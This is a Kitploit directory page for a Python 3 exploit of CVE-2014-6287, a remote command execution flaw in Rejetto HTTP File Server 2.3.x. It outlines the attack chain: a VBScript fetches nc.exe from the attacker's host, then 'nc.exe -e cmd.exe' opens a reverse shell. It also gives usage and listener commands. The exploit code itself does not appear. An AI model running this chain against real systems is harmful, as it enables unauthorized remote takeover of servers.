Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
rejjeto_hfs-rce-exploit-cve-2014-6287 — Remote Command Execution exploit for Rejetto HTTP File Server 2.3.x (CVE-2014-6287) rewritten in Python 3 for modern offensive security testing. | Kitploit
Tools/GitHubGitHub/joaz94/rejjeto_hfs-rce-exploit-cve-2014-6287
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access Tool

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
joaz94/rejjeto_hfs-rce-exploit-cve-2014-6287

rejjeto_hfs-rce-exploit-cve-2014-6287

Remote Command Execution exploit for Rejetto HTTP File Server 2.3.x (CVE-2014-6287) rewritten in Python 3 for modern offensive security testing.

View Repository
8 months agoNot yet reviewed

HFS Remote Command Execution Exploit (CVE-2014-6287)

This is a Python 3 rewrite of the classic Remote Command Execution (RCE) exploit targeting Rejetto HTTP File Server (HFS) v2.3.x, leveraging the vulnerability identified as CVE-2014-6287.

Originally discovered by Avinash Kumar Thapa aka "-Acid", this version improves portability and usability, providing full parameterization and modern compatibility.


⚠️ Disclaimer

This tool is provided exclusively for educational and authorized penetration testing purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.


📌 Exploit Details

  • Vulnerability: Rejetto HFS v2.3.x - Remote Command Execution
  • CVE: CVE-2014-6287
  • Impact: Remote code execution with system privileges
  • Requirement: The target must be running a vulnerable version of HFS with scripting enabled.

🚀 Features

  • Fully compatible with Python 3
  • Accepts all key parameters via CLI:
    • Target IP and port
    • Local IP (attacker)
    • Listening port for reverse shell
    • Port used to host nc.exe
  • No hardcoded values
  • Classic nc.exe reverse shell delivery using VBScript
  • Exploit flow:
    1. Upload a VBScript to download nc.exe
    2. Execute VBScript on target
    3. Run nc.exe -e cmd.exe to establish reverse shell

🛠️ Usage

root@kitploit:~
python3 exploit.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LISTEN_LOCAL_PORT> <NC_DOWNLOAD_PORT>

Example:
python3 exploit.py 192.168.1.10 80 192.168.1.5 4444 8000

Requirements:
  - HTTP server serving nc.exe:
      python3 -m http.server 8000
  - Listener:
      nc -lvnp 4444
Download Tool